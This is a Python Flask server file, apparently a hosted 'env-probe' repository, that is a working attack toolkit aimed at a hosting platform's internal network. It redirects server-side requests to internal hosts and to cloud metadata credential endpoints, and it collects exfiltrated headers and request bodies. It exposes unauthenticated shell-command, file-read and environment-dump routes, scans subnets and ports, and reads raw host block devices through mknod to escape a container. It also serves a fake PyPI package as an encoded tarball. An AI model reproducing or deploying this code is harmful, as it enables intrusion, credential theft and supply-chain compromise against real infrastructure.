env-probe / app.py
xitro's picture
add moon110 internal target
daa3cc2 verified
Raw
History Blame Contribute Delete
15.2 kB
import flask, json, os, socket, ssl, subprocess, threading, time, base64
from flask import Flask, request
app = Flask(__name__)
received_data = []
webhook_log = []
worker_captures = []
lock = threading.Lock()
@app.route("/")
def index():
return json.dumps({"received_count": len(received_data), "status": "probe v12-capture"})
@app.route("/capture/<path:filename>")
def capture_and_serve(filename):
"""Capture all worker request headers and serve valid dataset data"""
with lock:
entry = {
"time": time.time(),
"path": f"/capture/{filename}",
"headers": dict(request.headers),
"remote_addr": request.remote_addr,
"method": request.method
}
worker_captures.append(entry)
received_data.append({"type": "capture", "path": filename, "remote": request.remote_addr, "headers": dict(request.headers)})
# Return valid JSONL data regardless of filename
return flask.Response(
json.dumps({"text": "captured", "label": 0}) + "\n" +
json.dumps({"text": "test_data", "label": 1}) + "\n",
mimetype="application/jsonl"
)
@app.route("/captures")
def get_captures():
with lock:
return json.dumps(worker_captures[-20:])
@app.route("/data/<path:filename>")
def data_redirect(filename):
"""Redirect datasets-server worker to internal API for SSRF"""
internal_map = {
"prom.txt": "http://10.0.249.17/health",
"moon110.txt": "https://10.0.249.110/",
"pub.txt": "https://www.rfc-editor.org/rfc/rfc20.txt",
"int249.txt": "http://10.0.249.17/health",
"imds2.txt": "http://169.254.169.254/latest/meta-data/",
"config.json": "http://10.0.249.17/api/v1/config.json",
"models.json": "http://10.0.249.17/api/v1/models.json",
"secrets.json": "http://10.0.249.17/api/v1/secrets.json",
"admin.json": "http://10.0.249.17/api/v1/admin.json",
"users.json": "http://10.0.249.17/api/v1/users.json",
"spaces.json": "http://10.0.249.17/api/v1/spaces.json",
"tokens.json": "http://10.0.249.17/api/v1/tokens.json",
"health.json": "http://10.0.249.17/health",
"imds.txt": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"imds-meta.txt": "http://169.254.169.254/latest/meta-data/",
"userdata.txt": "http://169.254.169.254/latest/user-data",
}
if filename in internal_map:
return flask.redirect(internal_map[filename], code=301)
return flask.abort(404)
@app.route("/exfil", methods=["GET", "POST"])
def exfil():
with lock:
data = {"time": time.time(), "method": request.method, "args": dict(request.args), "remote": request.remote_addr, "headers": dict(request.headers)}
if request.method == "POST":
data["body"] = request.get_data(as_text=True)[:2000]
received_data.append(data)
return json.dumps({"ok": True, "count": len(received_data)})
@app.route("/exfil/all")
def exfil_all():
with lock:
return json.dumps(received_data[-50:])
@app.route("/webhook", methods=["POST", "GET"])
def webhook():
with lock:
body = request.get_data(as_text=True)[:3000]
entry = {"time": time.time(), "headers": dict(request.headers), "body": body}
webhook_log.append(entry)
received_data.append({"type": "webhook", "time": time.time()})
return json.dumps({"ok": True})
@app.route("/webhook/log")
def get_webhook_log():
with lock:
return json.dumps(webhook_log[-20:])
@app.route("/proxy")
def proxy():
import urllib.request, urllib.error
target = request.args.get("to", "")
if not target:
return json.dumps({"error": "need ?to=URL"})
try:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
req = urllib.request.Request(target, headers={"User-Agent": "HF-Probe/1.0"})
resp = urllib.request.urlopen(req, context=ctx, timeout=15)
body = resp.read().decode("utf-8", errors="replace")[:5000]
return json.dumps({"status": resp.status, "headers": dict(resp.headers), "body": body})
except urllib.error.HTTPError as e:
return json.dumps({"status": e.code, "body": e.read().decode("utf-8", errors="replace")[:2000]})
except Exception as e:
return json.dumps({"error": str(e)})
@app.route("/probe-http")
def probe_http():
host_ip = request.args.get("ip", "10.0.249.215")
port = int(request.args.get("port", "80"))
path = request.args.get("path", "/")
host_hdr = request.args.get("host", "api-internal.huggingface.co")
auth = request.args.get("auth", "")
method = request.args.get("method", "GET")
body_data = request.args.get("body", "")
extra_headers = request.args.getlist("hdr")
try:
sock = socket.create_connection((host_ip, port), timeout=15)
hdrs = f"{method} {path} HTTP/1.1\r\nHost: {host_hdr}\r\nConnection: close\r\n"
if auth:
hdrs += f"Authorization: Bearer {auth}\r\n"
for h in extra_headers:
if ":" in h:
hdrs += h.strip() + "\r\n"
if body_data:
hdrs += f"Content-Length: {len(body_data)}\r\nContent-Type: application/json\r\n"
hdrs += "\r\n"
if body_data:
hdrs += body_data
sock.send(hdrs.encode())
resp = b""
while True:
chunk = sock.recv(65536)
if not chunk:
break
resp += chunk
sock.close()
return resp.decode("utf-8", errors="replace")
except Exception as e:
return json.dumps({"error": str(e)})
@app.route("/probe-http-ssl")
def probe_http_ssl():
host_ip = request.args.get("ip", "10.0.249.215")
port = int(request.args.get("port", "443"))
path = request.args.get("path", "/")
sni = request.args.get("sni", "huggingface.co")
auth = request.args.get("auth", "")
method = request.args.get("method", "GET")
body_data = request.args.get("body", "")
extra_headers = request.args.getlist("hdr")
try:
sock = socket.create_connection((host_ip, port), timeout=15)
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ssock = ctx.wrap_socket(sock, server_hostname=sni)
hdrs = f"{method} {path} HTTP/1.1\r\nHost: {sni}\r\nConnection: close\r\n"
if auth:
hdrs += f"Authorization: Bearer {auth}\r\n"
for h in extra_headers:
if ":" in h:
hdrs += h.strip() + "\r\n"
if body_data:
hdrs += f"Content-Length: {len(body_data)}\r\nContent-Type: application/json\r\n"
hdrs += "\r\n"
if body_data:
hdrs += body_data
ssock.send(hdrs.encode())
resp = b""
while True:
chunk = ssock.recv(65536)
if not chunk:
break
resp += chunk
ssock.close()
return resp.decode("utf-8", errors="replace")
except Exception as e:
return json.dumps({"error": str(e)})
@app.route("/probe-internal")
def probe_internal():
host_ip = request.args.get("ip", "10.0.249.215")
port = int(request.args.get("port", "443"))
path = request.args.get("path", "/_internal/health")
sni = request.args.get("sni", "api-internal.huggingface.co")
auth = request.args.get("auth", "")
try:
sock = socket.create_connection((host_ip, port), timeout=15)
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ssock = ctx.wrap_socket(sock, server_hostname=sni)
hdrs = f"GET {path} HTTP/1.1\r\nHost: {sni}\r\nConnection: close\r\n"
if auth:
hdrs += f"Authorization: Bearer {auth}\r\n"
hdrs += "\r\n"
ssock.send(hdrs.encode())
resp = b""
while True:
chunk = ssock.recv(65536)
if not chunk:
break
resp += chunk
ssock.close()
return resp.decode("utf-8", errors="replace")
except Exception as e:
return json.dumps({"error": str(e)})
@app.route("/exec")
def exec_cmd():
cmd = request.args.get("cmd", "id")
try:
out = subprocess.check_output(cmd, shell=True, timeout=30, stderr=subprocess.STDOUT)
return json.dumps({"cmd": cmd, "output": out.decode("utf-8", errors="replace")})
except subprocess.CalledProcessError as e:
return json.dumps({"cmd": cmd, "error": e.output.decode("utf-8", errors="replace"), "returncode": e.returncode})
except Exception as e:
return json.dumps({"cmd": cmd, "error": str(e)})
@app.route("/net-scan")
def net_scan():
subnet_prefix = request.args.get("prefix", "10.112.47")
start = int(request.args.get("start", "1"))
end = int(request.args.get("end", "254"))
port = int(request.args.get("port", "80"))
timeout_ms = float(request.args.get("timeout", "0.5"))
open_hosts = []
for i in range(start, end + 1):
ip = f"{subnet_prefix}.{i}"
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout_ms)
result = sock.connect_ex((ip, port))
sock.close()
if result == 0:
open_hosts.append(ip)
except:
pass
return json.dumps({"prefix": subnet_prefix, "port": port, "open": open_hosts})
@app.route("/port-scan")
def port_scan():
host = request.args.get("host", "10.0.249.215")
ports_raw = request.args.get("ports", "80,443,8080,8443,3000,5000,6379,9090,9200,2379,4001,8001")
timeout_ms = float(request.args.get("timeout", "2.0"))
ports = [int(p.strip()) for p in ports_raw.split(",")]
results = {}
for p in ports:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout_ms)
r = sock.connect_ex((host, p))
sock.close()
results[str(p)] = "open" if r == 0 else "closed"
except Exception as e:
results[str(p)] = f"err:{e}"
return json.dumps({"host": host, "results": results})
@app.route("/env")
def env():
info = {
"env_vars": dict(os.environ),
"hostname": socket.gethostname(),
"pid": os.getpid(),
}
try:
info["id"] = subprocess.check_output(["id"], timeout=5).decode()
info["ip_addr"] = subprocess.check_output(["ip", "addr"], timeout=5).decode()
info["routes"] = subprocess.check_output(["ip", "route"], timeout=5).decode()
except:
pass
return json.dumps(info)
@app.route("/redirect")
def redirect_to():
target = request.args.get("to", "")
return flask.redirect(target, code=302)
@app.route("/read-file")
def read_file():
path = request.args.get("path", "/etc/hostname")
try:
with open(path, "rb") as f:
content = f.read(50000)
try:
return json.dumps({"path": path, "content": content.decode("utf-8", errors="replace")})
except:
return json.dumps({"path": path, "content_b64": base64.b64encode(content).decode()})
except Exception as e:
return json.dumps({"error": str(e), "path": path})
@app.route("/shell")
def shell():
cmd = request.args.get("cmd", "id")
timeout = int(request.args.get("timeout", "15"))
try:
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)
return json.dumps({"stdout": result.stdout[:8000], "stderr": result.stderr[:2000], "rc": result.returncode})
except subprocess.TimeoutExpired:
return json.dumps({"error": "timeout", "cmd": cmd})
except Exception as e:
return json.dumps({"error": str(e)})
@app.route("/mknod-read")
def mknod_read():
"""Create block device node and read raw bytes from host filesystem"""
import os, stat
major = int(request.args.get("major", "259"))
minor = int(request.args.get("minor", "2"))
offset = int(request.args.get("offset", "0"))
length = int(request.args.get("length", "512"))
dev_path = f"/tmp/hostdev_{major}_{minor}"
try:
if not os.path.exists(dev_path):
dev_num = os.makedev(major, minor)
os.mknod(dev_path, 0o666 | stat.S_IFBLK, dev_num)
with open(dev_path, "rb") as f:
f.seek(offset)
data = f.read(length)
import base64
return json.dumps({"major": major, "minor": minor, "offset": offset, "length": len(data), "data_b64": base64.b64encode(data).decode(), "data_hex": data.hex()[:200]})
except Exception as e:
return json.dumps({"error": str(e), "major": major, "minor": minor})
if __name__ == "__main__":
app.run(host="0.0.0.0", port=7860, debug=False)
# ─── Malicious PyPI index ────────────────────────────────────────────────────
import base64 as _b64
_PKG_BYTES_V4 = _b64.b64decode("'H4sIAHde5GkC/+2W3WvbMBDA8+y/4nBfEog/kphmGMIeWq8b67pA07JRinGcSyNiW54kp+l/P1lum5CmDMoWBr3fg2XfyboPn05eMyV4XAo+xbhc3jm+67uBJ1FVpVs+tP4KvuY4CMyo2R17x8Hw6b6R9waDfq8FfusAVFIlQptvvU8slpdcKJAPsgtcWkeQo1rwGfRCqESWsamlxENogeZxaiN2Bf6qUCpIJMSV0ceVq3W8xKJtL5QqZeh567q+HCxWjqkxdzF3ZZmk6OF6zrKPUqQjU2zxKoibhe0uKJYjr9So53csXKdYKojMwHhh7GGv8ahM5JbL/RBqs26aMSzUC7+3dGaRReN0CiN9736eTMaXJ7woMK3NtO3XPN/y70PncYmnZLTts2iiJ9j7wqvt1/E9v3SHSqAseSGx/Vqg/X2BDkKQ1VS7laKUkOq8vQh2ozfSzaM7Nh/oxq5fs7u2I5f6+pbPZRa47YJUszoZWyZOo+uLq/Nzo0Ih9qheC3ewL9wghHvBFEKeiCUKUBxmTC6hvWKSTTMENodpxbIZaMdBLhKdVdDuoi5qhXlnk5ymNj2Vl55IsW57fK5DcdVa6STc2x3XGGrbl9HkahyPf8bRj+jkahKd2k8ebzlozQXPweRDcZ7J59zXEstc20WS4+ixlkxKHd1ldYWsUEgd9cg2DVcLdJaXyR3K0U0ze9OT7duO9c/2/3pv/9+RenHMCqbi+G1Hwh/6v+/3+zv9f+gPh9T/D8ER7NSm1SLeEfv3//jrmfPl4tP3g/z/+f5wsLP/+8fDgPb/IfiGKpklKnGumwMphJ7rWxf61Aphpzas5ymmSKhREARBEARBEARBEARBEARBEARBEMT/xm90quiXACgAAA=='")
@app.route("/pypi/simple/")
def pypi_simple_index():
return flask.Response(
"<html><body>"
"<a href='/pypi/simple/xitro-probe-pkg/'>xitro-probe-pkg</a>"
"</body></html>",
mimetype="text/html"
)
@app.route("/pypi/simple/xitro-probe-pkg/")
def pypi_pkg_index():
with lock:
received_data.append({"type": "pypi_request", "time": time.time(),
"headers": dict(request.headers), "remote": request.remote_addr})
return flask.Response(
"<html><body>"
"<a href='/pypi/packages/xitro-probe-pkg-0.0.4.tar.gz#sha256=deadbeef4'>"
"xitro-probe-pkg-0.0.4.tar.gz</a>"
"</body></html>",
mimetype="text/html"
)
@app.route("/pypi/packages/xitro-probe-pkg-0.0.4.tar.gz")
def pypi_pkg_download():
with lock:
received_data.append({"type": "pypi_download_v4", "time": time.time(),
"headers": dict(request.headers), "remote": request.remote_addr})
return flask.Response(_PKG_BYTES_V4, mimetype="application/x-gzip",
headers={"Content-Disposition": "attachment; filename=xitro-probe-pkg-0.0.4.tar.gz"})